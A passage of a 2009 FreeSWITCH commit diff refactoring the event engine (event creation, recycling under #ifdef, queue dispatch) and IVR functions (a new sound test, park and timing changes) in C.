 		switch_threadattr_priority_increase(thd_attr);
-		switch_threadattr_detach_set(thd_attr, 1);
-		switch_thread_create(&thread, thd_attr, switch_event_dispatch_thread, EVENT_DISPATCH_QUEUE[index], pool);
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Create event dispatch thread %d\n", index);
+		switch_thread_create(&EVENT_DISPATCH_QUEUE_THREADS[index], thd_attr, switch_event_dispatch_thread, EVENT_DISPATCH_QUEUE[index], pool);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Create event dispatch thread %d\n", index);
 	}
 
 	SOFT_MAX_DISPATCH = index;
@@ -502,40 +558,42 @@
 
 SWITCH_DECLARE(switch_status_t) switch_event_init(switch_memory_pool_t *pool)
 {
-	switch_thread_t *thread;
 	switch_threadattr_t *thd_attr;;
 
 	switch_assert(pool != NULL);
+	THRUNTIME_POOL = RUNTIME_POOL = pool;
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Activate Eventing Engine.\n");
+	switch_thread_rwlock_create(&RWLOCK, RUNTIME_POOL);
+	switch_mutex_init(&BLOCK, SWITCH_MUTEX_NESTED, RUNTIME_POOL);
+	switch_mutex_init(&POOL_LOCK, SWITCH_MUTEX_NESTED, RUNTIME_POOL);
+	switch_mutex_init(&EVENT_QUEUE_MUTEX, SWITCH_MUTEX_NESTED, RUNTIME_POOL);
+	switch_core_hash_init(&CUSTOM_HASH, RUNTIME_POOL);
 
+	switch_mutex_lock(EVENT_QUEUE_MUTEX);
+	SYSTEM_RUNNING = -1;
+	switch_mutex_unlock(EVENT_QUEUE_MUTEX);
+
 	switch_threadattr_create(&thd_attr, pool);
-	switch_threadattr_detach_set(thd_attr, 1);
 	gethostname(hostname, sizeof(hostname));
-	switch_find_local_ip(guess_ip_v4, sizeof(guess_ip_v4), AF_INET);
-	switch_find_local_ip(guess_ip_v6, sizeof(guess_ip_v6), AF_INET6);
+	switch_find_local_ip(guess_ip_v4, sizeof(guess_ip_v4), NULL, AF_INET);
+	switch_find_local_ip(guess_ip_v6, sizeof(guess_ip_v6), NULL, AF_INET6);
 
-	THRUNTIME_POOL = RUNTIME_POOL = pool;
 
 	switch_queue_create(&EVENT_QUEUE[0], POOL_COUNT_MAX + 10, THRUNTIME_POOL);
 	switch_queue_create(&EVENT_QUEUE[1], POOL_COUNT_MAX + 10, THRUNTIME_POOL);
 	switch_queue_create(&EVENT_QUEUE[2], POOL_COUNT_MAX + 10, THRUNTIME_POOL);
+#ifdef SWITCH_EVENT_RECYCLE
 	switch_queue_create(&EVENT_RECYCLE_QUEUE, 250000, THRUNTIME_POOL);
 	switch_queue_create(&EVENT_HEADER_RECYCLE_QUEUE, 250000, THRUNTIME_POOL);
+#endif
 
-
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Activate Eventing Engine.\n");
-	switch_thread_rwlock_create(&RWLOCK, RUNTIME_POOL);
-	switch_mutex_init(&BLOCK, SWITCH_MUTEX_NESTED, RUNTIME_POOL);
-	switch_mutex_init(&POOL_LOCK, SWITCH_MUTEX_NESTED, RUNTIME_POOL);
-	switch_mutex_init(&EVENT_QUEUE_MUTEX, SWITCH_MUTEX_NESTED, RUNTIME_POOL);
-	switch_core_hash_init(&CUSTOM_HASH, RUNTIME_POOL);
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
 	switch_threadattr_priority_increase(thd_attr);
-	switch_threadattr_detach_set(thd_attr, 1);
 
 	launch_dispatch_threads(1, DISPATCH_QUEUE_LEN, RUNTIME_POOL);
-	switch_thread_create(&thread, thd_attr, switch_event_thread, EVENT_QUEUE[0], RUNTIME_POOL);
-	switch_thread_create(&thread, thd_attr, switch_event_thread, EVENT_QUEUE[1], RUNTIME_POOL);
-	switch_thread_create(&thread, thd_attr, switch_event_thread, EVENT_QUEUE[2], RUNTIME_POOL);
+	switch_thread_create(&EVENT_QUEUE_THREADS[0], thd_attr, switch_event_thread, EVENT_QUEUE[0], RUNTIME_POOL);
+	switch_thread_create(&EVENT_QUEUE_THREADS[1], thd_attr, switch_event_thread, EVENT_QUEUE[1], RUNTIME_POOL);
+	switch_thread_create(&EVENT_QUEUE_THREADS[2], thd_attr, switch_event_thread, EVENT_QUEUE[2], RUNTIME_POOL);
 
 	while (!THREAD_COUNT) {
 		switch_cond_next();
@@ -549,26 +607,36 @@
 	return SWITCH_STATUS_SUCCESS;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_event_create_subclass(switch_event_t **event, switch_event_types_t event_id, const char *subclass_name)
+SWITCH_DECLARE(switch_status_t) switch_event_create_subclass_detailed(const char *file, const char *func, int line,
+																	  switch_event_t **event, switch_event_types_t event_id, const char *subclass_name)
 {
+#ifdef SWITCH_EVENT_RECYCLE
 	void *pop;
+#endif
 
 	*event = NULL;
 
-	if (event_id != SWITCH_EVENT_CUSTOM && subclass_name) {
+	if ((event_id != SWITCH_EVENT_CLONE && event_id != SWITCH_EVENT_CUSTOM) && subclass_name) {
 		return SWITCH_STATUS_GENERR;
 	}
 
+#ifdef SWITCH_EVENT_RECYCLE
 	if (switch_queue_trypop(EVENT_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS && pop) {
 		*event = (switch_event_t *) pop;
 	} else {
+#endif
 		*event = ALLOC(sizeof(switch_event_t));
 		switch_assert(*event);
+#ifdef SWITCH_EVENT_RECYCLE
 	}
+#endif
 
 	memset(*event, 0, sizeof(switch_event_t));
 
-	(*event)->event_id = event_id;
+	if (event_id != SWITCH_EVENT_CLONE) {
+		(*event)->event_id = event_id;
+		switch_event_prep_for_delivery_detailed(file, func, line, *event);
+	}
 
 	if (subclass_name) {
 		(*event)->subclass_name = DUP(subclass_name);
@@ -639,9 +707,13 @@
 			FREE(hp->name);
 			FREE(hp->value);
 			memset(hp, 0, sizeof(*hp));
+#ifdef SWITCH_EVENT_RECYCLE
 			if (switch_queue_trypush(EVENT_HEADER_RECYCLE_QUEUE, hp) != SWITCH_STATUS_SUCCESS) {
 				FREE(hp);
 			}
+#else
+			FREE(hp);
+#endif
 			status = SWITCH_STATUS_SUCCESS;
 		} else {
 			lp = hp;
@@ -655,14 +727,18 @@
 {
 	switch_event_header_t *header;
 	switch_ssize_t hlen = -1;
+
+#ifdef SWITCH_EVENT_RECYCLE
 	void *pop;
-
 	if (switch_queue_trypop(EVENT_HEADER_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS) {
 		header = (switch_event_header_t *) pop;
 	} else {
+#endif
 		header = ALLOC(sizeof(*header));
 		switch_assert(header);
+#ifdef SWITCH_EVENT_RECYCLE
 	}
+#endif
 
 	memset(header, 0, sizeof(*header));
 
@@ -706,6 +782,17 @@
 	return switch_event_base_add_header(event, stack, header_name, data);
 }
 
+SWITCH_DECLARE(switch_status_t) switch_event_set_subclass_name(switch_event_t *event, const char *subclass_name)
+{
+	if (!event || !subclass_name) return SWITCH_STATUS_GENERR;
+	
+	switch_safe_free(event->subclass_name);
+	event->subclass_name = DUP(subclass_name);
+	switch_event_del_header(event, "Event-Subclass");
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Event-Subclass", subclass_name);
+	return SWITCH_STATUS_SUCCESS;
+}
+
 SWITCH_DECLARE(switch_status_t) switch_event_add_header_string(switch_event_t *event, switch_stack_t stack, const char *header_name, const char *data)
 {
 	if (data) {
@@ -748,59 +835,45 @@
 			hp = hp->next;
 			FREE(this->name);
 			FREE(this->value);
-			memset(this, 0, sizeof(*this));
+#ifdef SWITCH_EVENT_RECYCLE
 			if (switch_queue_trypush(EVENT_HEADER_RECYCLE_QUEUE, this) != SWITCH_STATUS_SUCCESS) {
 				FREE(this);
 			}
+#else
+			FREE(this);
+#endif
+
+
 		}
 		FREE(ep->body);
 		FREE(ep->subclass_name);
-		memset(ep, 0, sizeof(*ep));
+#ifdef SWITCH_EVENT_RECYCLE
 		if (switch_queue_trypush(EVENT_RECYCLE_QUEUE, ep) != SWITCH_STATUS_SUCCESS) {
 			FREE(ep);
 		}
+#else
+		FREE(ep);
+#endif
+
 	}
 	*event = NULL;
 }
 
+
 SWITCH_DECLARE(switch_status_t) switch_event_dup(switch_event_t **event, switch_event_t *todup)
 {
-	switch_event_header_t *header, *hp, *hp2, *last = NULL;
+	switch_event_header_t *hp;
 
-	if (switch_event_create_subclass(event, todup->event_id, todup->subclass_name) != SWITCH_STATUS_SUCCESS) {
+	if (switch_event_create_subclass(event, SWITCH_EVENT_CLONE, todup->subclass_name) != SWITCH_STATUS_SUCCESS) {
 		return SWITCH_STATUS_GENERR;
 	}
 
-	if (todup->subclass_name) {
-		(*event)->subclass_name = DUP(todup->subclass_name);
-	}
+	(*event)->event_id = todup->event_id;
 	(*event)->event_user_data = todup->event_user_data;
 	(*event)->bind_user_data = todup->bind_user_data;
 
-	hp2 = (*event)->headers;
-
 	for (hp = todup->headers; hp; hp = hp->next) {
-		void *pop;
-
-		if (switch_queue_trypop(EVENT_HEADER_RECYCLE_QUEUE, &pop) == SWITCH_STATUS_SUCCESS) {
-			header = (switch_event_header_t *) pop;
-		} else {
-			header = ALLOC(sizeof(*header));
-			switch_assert(header);
-		}
-
-		memset(header, 0, sizeof(*header));
-
-		header->name = DUP(hp->name);
-		header->value = DUP(hp->value);
-
-		if (last) {
-			last->next = header;
-		} else {
-			(*event)->headers = header;
-		}
-
-		(*event)->last_header = last = header;
+		switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, hp->name, hp->value);
 	}
 
 	if (todup->body) {
@@ -933,7 +1006,7 @@
 	switch_xml_t header = switch_xml_add_child_d(xml, name, offset);
 	
 	if (header) {
-		int encode_len = (strlen(value) * 3) + 1;
+		switch_size_t encode_len = (strlen(value) * 3) + 1;
 		char *encode_buf = malloc(encode_len);
 		
 		switch_assert(encode_buf);
@@ -1014,13 +1087,38 @@
 	return xml;
 }
 
-SWITCH_DECLARE(switch_status_t) switch_event_fire_detailed(const char *file, const char *func, int line, switch_event_t **event, void *user_data)
+SWITCH_DECLARE(void) switch_event_prep_for_delivery_detailed(const char *file, const char *func, int line, switch_event_t *event)
 {
 	switch_time_exp_t tm;
 	char date[80] = "";
 	switch_size_t retsize;
-	switch_time_t ts = switch_timestamp_now();
+	switch_time_t ts = switch_micro_time_now();
 
+
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Event-Name", switch_event_name(event->event_id));
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Core-UUID", switch_core_get_uuid());
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FreeSWITCH-Hostname", hostname);
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FreeSWITCH-IPv4", guess_ip_v4);
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FreeSWITCH-IPv6", guess_ip_v6);
+
+	switch_time_exp_lt(&tm, ts);
+	switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Event-Date-Local", date);
+	switch_rfc822_date(date, ts);
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Event-Date-GMT", date);
+	switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Event-Date-Timestamp", "%" SWITCH_UINT64_T_FMT, (uint64_t) ts);
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Event-Calling-File", switch_cut_path(file));
+	switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Event-Calling-Function", func);
+	switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Event-Calling-Line-Number", "%d", line);
+
+
+}
+
+SWITCH_DECLARE(switch_status_t) switch_event_fire_detailed(const char *file, const char *func, int line, switch_event_t **event, void *user_data)
+{
+
+	int index;
+
 	switch_assert(BLOCK != NULL);
 	switch_assert(RUNTIME_POOL != NULL);
 	switch_assert(EVENT_QUEUE_MUTEX != NULL);
@@ -1029,31 +1127,30 @@
 	if (SYSTEM_RUNNING <= 0) {
 		/* sorry we're closed */
 		switch_event_destroy(event);
-		return SWITCH_STATUS_FALSE;
+		return SWITCH_STATUS_SUCCESS;
 	}
 
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "Event-Name", switch_event_name((*event)->event_id));
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "Core-UUID", switch_core_get_uuid());
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "FreeSWITCH-Hostname", hostname);
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "FreeSWITCH-IPv4", guess_ip_v4);
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "FreeSWITCH-IPv6", guess_ip_v6);
-
-	switch_time_exp_lt(&tm, ts);
-	switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "Event-Date-Local", date);
-	switch_rfc822_date(date, ts);
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "Event-Date-GMT", date);
-	switch_event_add_header(*event, SWITCH_STACK_BOTTOM, "Event-Date-Timestamp", "%" SWITCH_UINT64_T_FMT, (uint64_t) ts);
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "Event-Calling-File", switch_cut_path(file));
-	switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, "Event-Calling-Function", func);
-	switch_event_add_header(*event, SWITCH_STACK_BOTTOM, "Event-Calling-Line-Number", "%d", line);
-
 	if (user_data) {
 		(*event)->event_user_data = user_data;
 	}
 
+	for (;;) {
+		for (index = (*event)->priority; index < 3; index++) {
+			int was = (*event)->priority;
+			if (switch_queue_trypush(EVENT_QUEUE[index], *event) == SWITCH_STATUS_SUCCESS) {
+				if (index != was) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "queued event at a lower priority %d/%d!\n", index, was);
+				}
+				goto end;
+			}
+		}
+		
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Event queue is full!\n");
+		switch_yield(100000);
+	}
 
-	switch_queue_push(EVENT_QUEUE[(*event)->priority], *event);
+ end:
+
 	*event = NULL;
 
 	return SWITCH_STATUS_SUCCESS;
@@ -1224,7 +1321,7 @@
 		switch_event_add_header_string(pres_event, SWITCH_STACK_TOP, "unique-id", alt_event_type);
 		switch_event_add_header_string(pres_event, SWITCH_STACK_TOP, "channel-state", channel_state);
 		switch_event_add_header_string(pres_event, SWITCH_STACK_TOP, "answer-state", answer_state);
-		switch_event_add_header_string(pres_event, SWITCH_STACK_TOP, "call-direction", call_direction);
+		switch_event_add_header_string(pres_event, SWITCH_STACK_TOP, "presence-call-direction", call_direction);
 		switch_event_fire_detailed(file, func, line, &pres_event, NULL);
 		return SWITCH_STATUS_SUCCESS;
 	}
@@ -1251,7 +1348,7 @@
 	char *func_val = NULL;
 	int nv = 0;
 
-	nv = switch_string_var_check_const(in);
+	nv = switch_string_var_check_const(in) || switch_string_has_escaped_data(in);
 
 	if (!nv) {
 		return (char *) in;
@@ -1271,12 +1368,12 @@
 			if (*p == '\\') {
 				if (*(p + 1) == '$') {
 					nv = 1;
+					p++;
 				} else if (*(p + 1) == '\\') {
 					*c++ = *p++;
 					len++;
 					continue;
 				}
-				p++;
 			}
 
 			if (*p == '$' && !nv) {

Modified: freeswitch/branches/seven/src/switch_ivr.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_ivr.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_ivr.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Paul D. Tinsley <pdt at jackhammer.org>
  * Neal Horman <neal at wanlink dot com>
  * Matt Klein <mklein@nmedia.net>
@@ -38,11 +38,96 @@
 #include <switch_ivr.h>
 #include "stfu.h"
 
+SWITCH_DECLARE(switch_status_t) switch_ivr_sound_test(switch_core_session_t *session)
+{
+
+	switch_codec_implementation_t imp = {0};
+	switch_codec_t codec = { 0 };
+	int16_t peak = 0;
+	int16_t *data;
+	switch_frame_t *read_frame = NULL;
+	uint32_t i;
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	int64_t global_total = 0, global_sum = 0, period_sum = 0;
+	int period_total = 0;
+	int period_avg = 0, global_avg = 0;
+	int avg = 0;
+	int period_len;
+	
+	switch_core_session_get_read_impl(session, &imp);
+	
+	period_len = imp.actual_samples_per_second / imp.samples_per_packet;
+
+	if (switch_core_codec_init(&codec,
+							   "L16",
+							   NULL,
+							   imp.samples_per_second,
+							   imp.microseconds_per_packet / 1000,
+							   imp.number_of_channels, 
+							   SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, 
+							   switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n", 
+						  imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
+		return SWITCH_STATUS_FALSE;
+	}
+	
+	while(switch_channel_ready(channel)) {
+		status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
+	
+		if (!SWITCH_READ_ACCEPTABLE(status)) {
+			break;
+		}
+
+		if (switch_test_flag(read_frame, SFF_CNG) || !read_frame->samples) {
+			continue;
+		}
+
+
+		data = (int16_t *) read_frame->data;
+		peak = 0;
+		avg = 0;
+		for (i = 0; i < read_frame->samples; i++) {
+			const int16_t s = (int16_t)abs(data[i]);
+			if (s > peak) {
+				peak = s;
+			}
+			avg += s;
+		}
+		
+		avg /= read_frame->samples;
+
+		period_sum += peak;
+		global_sum += peak;
+		
+		global_total++;
+		period_total++;
+		
+		period_avg = (int)(period_sum / period_total);
+
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, 
+						  "\npacket_avg=%d packet_peak=%d period_avg=%d global_avg=%d\n\n", avg, peak, period_avg, global_avg); 
+		
+		if (period_total >= period_len) {			
+			global_avg = (int)(global_sum / global_total);
+			period_total = 0;
+			period_sum = 0;
+		}
+
+	}
+	
+
+	switch_core_codec_destroy(&codec);
+
+	return SWITCH_STATUS_SUCCESS;
+
+}
+
 SWITCH_DECLARE(switch_status_t) switch_ivr_sleep(switch_core_session_t *session, uint32_t ms, switch_bool_t sync, switch_input_args_t *args)
 {
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
-	switch_time_t start = switch_timestamp_now(), now, done = switch_timestamp_now() + (ms * 1000);
+	switch_time_t start = switch_micro_time_now(), now, done = switch_micro_time_now() + (ms * 1000);
 	switch_frame_t *read_frame, cng_frame = { 0 };
 	int32_t left, elapsed;
 	char data[2] = "";
@@ -54,6 +139,7 @@
 	int sval = 0;
 	const char *var;
 
+	/*
 	if (!switch_channel_test_flag(channel, CF_OUTBOUND) && !switch_channel_test_flag(channel, CF_PROXY_MODE) && 
 		!switch_channel_media_ready(channel) && !switch_channel_test_flag(channel, CF_SERVICE)) {
 		if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
@@ -61,6 +147,7 @@
 			return SWITCH_STATUS_FALSE;
 		}
 	}
+	*/
 
 	if (!switch_channel_media_ready(channel)) {
 		switch_yield(ms * 1000);
@@ -114,7 +201,7 @@
 	}
 
 	for (;;) {
-		now = switch_timestamp_now();
+		now = switch_micro_time_now();
 		elapsed = (int32_t) ((now - start) / 1000);
 		left = ms - elapsed;
 
@@ -161,7 +248,7 @@
 			if (args->input_callback) {
 				switch_event_t *event = NULL;
 
-				if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+				if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 					status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen);
 					switch_event_destroy(&event);
 				}
@@ -255,7 +342,7 @@
 				break;
 			}
 		}
-		if (conninfo->read_codec.implementation) {
+		if (switch_core_codec_ready(&conninfo->read_codec)) {
 			switch_core_codec_destroy(&conninfo->read_codec);
 		}
 		switch_socket_close(conninfo->socket);
@@ -452,9 +539,9 @@
 
 						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Command Execute %s(%s)\n",
 										  switch_channel_get_name(channel), app_name, switch_str_nil(app_arg));
-						b4 = switch_timestamp_now();
+						b4 = switch_micro_time_now();
 						switch_core_session_exec(session, application_interface, app_arg);
-						aftr = switch_timestamp_now();
+						aftr = switch_micro_time_now();
 						if (!switch_channel_ready(channel) || switch_channel_test_flag(channel, CF_STOP_BROADCAST) || aftr - b4 < 500000) {
 							break;
 						}
@@ -551,71 +638,74 @@
 {
 	switch_status_t status = SWITCH_STATUS_SUCCESS;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
-	switch_frame_t *read_frame;
+	switch_frame_t *read_frame = NULL;
 	int stream_id = 0;
 	switch_event_t *event;
 	switch_unicast_conninfo_t *conninfo = NULL;
-	switch_codec_t *read_codec;
-	uint32_t rate;
-	uint32_t bpf;
+	uint32_t rate = 0;
+	uint32_t bpf = 0;
 	const char *to;
 	int timeout = 0;
 	time_t expires = 0;
+	switch_codec_implementation_t read_impl = {0};
 
+	
 	if (switch_channel_test_flag(channel, CF_CONTROLLED)) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot park channels that are under control already.\n");
 		return SWITCH_STATUS_FALSE;
 	}
 
-	if (!switch_channel_test_flag(channel, CF_ANSWERED)) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Careful, Channel is unanswered. Pre-answering...\n");
-		if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot establish media.\n");
-			return SWITCH_STATUS_FALSE;
-		}
-	}
-
-	if (switch_channel_test_flag(channel, CF_PROXY_MODE)) {
+	if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_get_state(channel) == CS_RESET) {
 		return SWITCH_STATUS_FALSE;
 	}
 	
-	read_codec = switch_core_session_get_read_codec(session);
-
-	if (!read_codec || !read_codec->implementation) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot park channels that have no read codec.\n");
-		return SWITCH_STATUS_FALSE;
-	}
-
-	rate = read_codec->implementation->actual_samples_per_second;
-	bpf = read_codec->implementation->decoded_bytes_per_packet;
-
 	if ((to = switch_channel_get_variable(channel, "park_timeout"))) {
 		if ((timeout = atoi(to)) < 0) {
 			timeout = 0;
 		} else {
-			expires = switch_timestamp(NULL) + timeout;
+			expires = switch_epoch_time_now(NULL) + timeout;
 		}
+		switch_channel_set_variable(channel, "park_timeout", NULL);
 	}
 
 	switch_channel_set_flag(channel, CF_CONTROLLED);
+	switch_channel_set_flag(channel, CF_PARK);
+
 	if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_PARK) == SWITCH_STATUS_SUCCESS) {
 		switch_channel_event_set_data(channel, event);
 		switch_event_fire(&event);
 	}
 
-	while (read_codec && switch_channel_ready(channel) && switch_channel_test_flag(channel, CF_CONTROLLED)) {
+	while (switch_channel_ready(channel) && switch_channel_test_flag(channel, CF_CONTROLLED) && switch_channel_test_flag(channel, CF_PARK)) {
+	
+		if (!rate && switch_channel_media_ready(channel)) {
+			switch_core_session_get_read_impl(session, &read_impl);
+			rate = read_impl.actual_samples_per_second;
+			bpf = read_impl.decoded_bytes_per_packet;
+		}
+	
+		if (rate) {
+			status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, stream_id);
+		} else {
+			switch_yield(20000);
+			status = SWITCH_STATUS_SUCCESS;
+		}
 
-		if ((status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, stream_id)) == SWITCH_STATUS_SUCCESS) {
-			if (!SWITCH_READ_ACCEPTABLE(status)) {
-				break;
-			}
-
-			if (expires && switch_timestamp(NULL) >= expires) {
+		if (!SWITCH_READ_ACCEPTABLE(status)) {
+			break;
+		} else {
+			if (expires && switch_epoch_time_now(NULL) >= expires) {
 				switch_channel_hangup(channel, SWITCH_CAUSE_RECOVERY_ON_TIMER_EXPIRE);
 				break;
 			}
 
 			if (switch_channel_test_flag(channel, CF_UNICAST)) {
+				if (!switch_channel_media_ready(channel)) {
+					if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
+						return SWITCH_STATUS_FALSE;
+					}
+				}
+
 				if (!conninfo) {
 					if (!(conninfo = switch_channel_get_private(channel, "unicast"))) {
 						switch_channel_clear_flag(channel, CF_UNICAST);
@@ -635,6 +725,8 @@
 					switch_byte_t *sendbuf = NULL;
 					uint32_t sendlen = 0;
 
+					switch_assert(read_frame);
+
 					if (switch_test_flag(read_frame, SFF_CNG)) {
 						sendlen = bpf;
 						switch_assert(sendlen <= SWITCH_RECOMMENDED_BUFFER_SIZE);
@@ -645,11 +737,12 @@
 						if (switch_test_flag(conninfo, SUF_NATIVE)) {
 							tstatus = SWITCH_STATUS_NOOP;
 						} else {
+							switch_codec_t *read_codec = switch_core_session_get_read_codec(session);
 							tstatus = switch_core_codec_decode(read_codec,
 															   &conninfo->read_codec,
 															   read_frame->data,
 															   read_frame->datalen,
-															   read_codec->implementation->actual_samples_per_second, decoded, &dlen, &rate, &flags);
+															   read_impl.actual_samples_per_second, decoded, &dlen, &rate, &flags);
 						}
 						switch (tstatus) {
 						case SWITCH_STATUS_NOOP:
@@ -693,7 +786,7 @@
 				}
 			}
 
-			if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+			if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 				if (args && args->input_callback) {
 					if ((status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen)) != SWITCH_STATUS_SUCCESS) {
 						break;
@@ -708,6 +801,7 @@
 	}
 
 	switch_channel_clear_flag(channel, CF_CONTROLLED);
+	switch_channel_clear_flag(channel, CF_PARK);
 
 	if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_UNPARK) == SWITCH_STATUS_SUCCESS) {
 		switch_channel_event_set_data(channel, event);
@@ -733,7 +827,7 @@
 	}
 
 	if (timeout) {
-		started = switch_timestamp_now();
+		started = switch_micro_time_now();
 	}
 
 	while (switch_channel_ready(channel)) {
@@ -748,7 +842,7 @@
 		}
 
 		if (timeout) {
-			elapsed = (uint32_t) ((switch_timestamp_now() - started) / 1000);
+			elapsed = (uint32_t) ((switch_micro_time_now() - started) / 1000);
 			if (elapsed >= timeout) {
 				break;
 			}
@@ -763,7 +857,7 @@
 			status = args->input_callback(session, (void *) &dtmf, SWITCH_INPUT_TYPE_DTMF, args->buf, args->buflen);
 		}
 
-		if (switch_core_session_dequeue_event(session, &event) == SWITCH_STATUS_SUCCESS) {
+		if (switch_core_session_dequeue_event(session, &event, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 			status = args->input_callback(session, event, SWITCH_INPUT_TYPE_EVENT, args->buf, args->buflen);
 			switch_event_destroy(&event);
 		}
@@ -855,7 +949,7 @@
 	}
 
 	if (abs_timeout) {
-		started = switch_timestamp_now();
+		started = switch_micro_time_now();
 	}
 
 	if (digit_timeout && first_timeout) {
@@ -868,14 +962,14 @@
 
 
 	if (eff_timeout) {
-		digit_started = switch_timestamp_now();
+		digit_started = switch_micro_time_now();
 	}
 
 	while (switch_channel_ready(channel)) {
 		switch_frame_t *read_frame;
 
 		if (abs_timeout) {
-			abs_elapsed = (uint32_t) ((switch_timestamp_now() - started) / 1000);
+			abs_elapsed = (uint32_t) ((switch_micro_time_now() - started) / 1000);
 			if (abs_elapsed >= abs_timeout) {
 				break;
 			}
@@ -885,9 +979,10 @@
 			switch_ivr_parse_all_events(session);
 		}
 
+		
+		if (eff_timeout) {
+			digit_elapsed = (uint32_t) ((switch_micro_time_now() - digit_started) / 1000);
 
-		if (eff_timeout) {
-			digit_elapsed = (uint32_t) ((switch_timestamp_now() - digit_started) / 1000);
 			if (digit_elapsed >= eff_timeout) {
 				status = SWITCH_STATUS_TIMEOUT;
 				break;
@@ -897,10 +992,10 @@
 		if (switch_channel_has_dtmf(channel)) {
 			switch_dtmf_t dtmf = { 0 };
 			switch_size_t y;
-
+			
 			if (eff_timeout) {
 				eff_timeout = digit_timeout;
-				digit_started = switch_timestamp_now();
+				digit_started = switch_micro_time_now();
 			}
 
 			for (y = 0; y <= maxdigits; y++) {
@@ -916,6 +1011,7 @@
 
 				buf[x++] = dtmf.digit;
